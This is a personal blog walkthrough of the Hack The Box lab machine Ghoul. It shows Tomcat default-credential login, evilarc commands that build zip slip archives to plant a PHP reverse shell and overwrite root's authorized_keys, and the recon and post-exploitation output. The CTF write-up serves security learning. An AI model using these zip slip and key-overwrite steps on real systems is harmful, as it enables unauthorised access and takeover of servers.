Ghoul Hackthebox walkthrough – Part 1

Ghoul Hackthebox walkthrough – Part 1

Hey folks! This is Shreya. Today I’ll be walking you through one of the hard Linux machines of hackthebox named Ghoul.

Summary

As it is a hard machine, it covers a lots of new concepts and the journey will be no less than a rollercoaster ride. The initial foothold it obtained via a zipslip vulnerability in tomcat. Then a bit of enumeration gives the user. Getting the root requires to exploit the git gogs vulnerability. For that ssh port forwarding has to be done.

That was the gist. But as I proceed, you will realize it to be a long one but totally worth it.

With all that being said, let’s get started.

Recon

Starting with an nmap scan, I found a ssh and http are open on 2 ports, with different versions of ubuntu (ubuntu0.1 and ubuntu0.2). Therefore a simple guess would be presence of docker.

# Nmap 7.80 scan initiated Sat Nov 28 03:54:47 2020 as: nmap -sC -sV -oA ghoul.nmap 10.10.10.101
Nmap scan report for 10.10.10.101
Host is up (0.14s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_  256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
|   256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_  256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-auth: 
| HTTP/1.1 401 Unauthorized\\x0D
|_  Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sat Nov 28 03:55:04 2020 -- 1 IP address (1 host up) scanned in 17.12 seconds

Since http is open, I ran a dirbuster scan on both the open ports with the defaut wordlist and got a whole bunch of results.

INFO: Created user preferences directory.
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
File found: /index.html - 200
Dir found: / - 200
Dir found: /images/ - 403
File found: /blog.html - 200
Dir found: /archives/ - 403
File found: /contact.html - 200
Dir found: /js/ - 403
Dir found: /icons/ - 403
File found: /js/jquery.js - 200
File found: /js/touchTouch.jquery.js - 200
File found: /js/jquery-migrate-1.2.1.js - 200
File found: /js/script.js - 200
File found: /js/camera.js - 200
File found: /js/jquery.stellar.js - 200
File found: /js/TMForm.js - 200
File found: /js/modal.js - 200
Dir found: /uploads/ - 403
Dir found: /users/ - 302
File found: /users/index.php - 302
File found: /users/login.php - 200
Dir found: /css/ - 403
Dir found: /users/css/ - 403
Dir found: /icons/small/ - 403
File found: /icons/README.html - 200
File found: /users/logout.php - 302
File found: /secret.php - 200

The index page looked something like this

Secret.php revealed something interesting. It was sort of a leaked chat.

http://10.10.10.101/secret.php

I tried going to http://10.10.10.101:8080 and it displayed a login page. From the results obtained from the map scan, we know that tomcat is running . Luckily the admin:admin creds works and got me to a landing page.

The landing page had an option to upload image, zip. I tried out uploading malicious files in image upload but it didn’t really work out.

Zip Slip Vulnerability

Then i realized that tomcat is running so i checked for vulnerabilites around that version using searchsploit. And I found the zip slip vulnerability for that version of tomcat. https://snyk.io/research/zip-slip-vulnerability

This vulnerability allowed for directory traversal if a malicious zip file gets extracted by the sever. The extracted files can also overwrite the existing ones and hence gives full control to the attacker.

I found a github repository evilarc used for creating malicious zip files.

python evilarc.py -o unix -p var/www/html /root/Desktop/hackthebox/ghoul/php-reverse-shell.php
python evilarc.py -o unix -p var/www/html /root/Desktop/hackthebox/ghoul/test.php

In the image above, a malicious zip file (evil.zip) is created. Upload evil.zip and whenever it gets extracted, it will store php-reverse-shell.php in the root directory of the server.

The files can be placed anywhere on the server. For example, the attacker can overwrite the existing ssh keys for any user.

So our shell is successfully uploaded.

Lets grab the reverse shell.

www-data@Aogiri:/etc/ssh$ ssh-keygen -l -E md5 -f ssh_host_rsa_key.pub
2048 MD5:c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f root@0c2089ad028d (RSA)

This is the same md5 hash that we found in the nmap scan (of ssh). As there was ssh open on 2 ports.

www-data@Aogiri:/etc/ssh$ netstat -alnp | grep LIST
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:8005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.11:34581        0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
unix  2      [ ACC ]     STREAM     LISTENING     47019    -                    /var/run/supervisor.sock.1

www-data@Aogiri:/etc/ssh$ ps -ef | grep tomcat
root         15      1  0 08:42 ?        00:00:42 /usr/bin/java -Djava.util.logging.config.file=/usr/share/tomcat7/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Dignore.endorsed.dirs= -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar 
-Dcatalina.base=/usr/share/tomcat7 
-Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/usr/share/tomcat7/temp org.apache.catalina.startup.Bootstrap start

Like I uploaded the php-reverse-shell, ssh-keys can also be overwritten and one can get logged in as root directly.

The unintended way to root

One can generate ssh keys with ssh-keygen on the local machine and rename the key.pub to authorized_keys. Now we can upload authorized_keys file to the destination server on the /root/.ssh folder. This is gonna overwrite the existing authorized_keys file if any.

ssh-keygen -f ghoul
mv ghoul.pub authorized_keys
cd /opt/evilarc/
python evilarc.py -o unix -d 2 -p root/.ssh/ authorized_keys

This again creates an evil.zip that will be uploaded again

The evil.zip is successfully uploaded. Lets run the ssh command as we have the private key (that was generated with ssh-keygen)!!!

Doing an ifconfig on the box revelas that we are inside a docker. So the initial intuition from 2 versions of ubuntu lead us to the correct path of dockers.

So this was the unintended way to directly obtain the root (this is not where root.txt lives).

The intended way to user.txt

When logged in as www-data, perform enumeration with linenum.sh. But see here was a file login.txt that is leaking password for the user kaneki.

I tried to ssh with the creds but didnt worked. So took a note and moved ahead.

Since tomcat is installed, I thought of having a look at tomcat-users.xml for passwords

And yes i found it too. Just, It wasnt of any use as of now!

In enumenration, I found a backup folder in /var.

It has the private keys with the passphrase. Its really a bad idea to bruteforce passphrase for this key! Why? Because the passphrase was leaked in the secret.php file that we looked upon earlier (ILoveTouka <3). And it is not really possible to crack with john or anything else.

And if you are wondering how the hell anyone can guess that, I would say its the notes that makes things bit simpler šŸ™‚

Now ssh into the box with user kaneki and you get the user.txt

So that was the user part! Just so that you all are not overwhemled with the length of blog, I have covered the privilege escalation in the follow-up post.

I hope you enjoyed the journey till now!

See you in the next one! Until then happy hunting šŸ™‚

shreyapohekar

Iā€™m Shreya Pohekar, a Senior Product Security Analyst at HackerOne. I enjoy sharing my thoughts and insights through blogging, turning complex security topics into engaging and accessible content for my readers.

Leave a Reply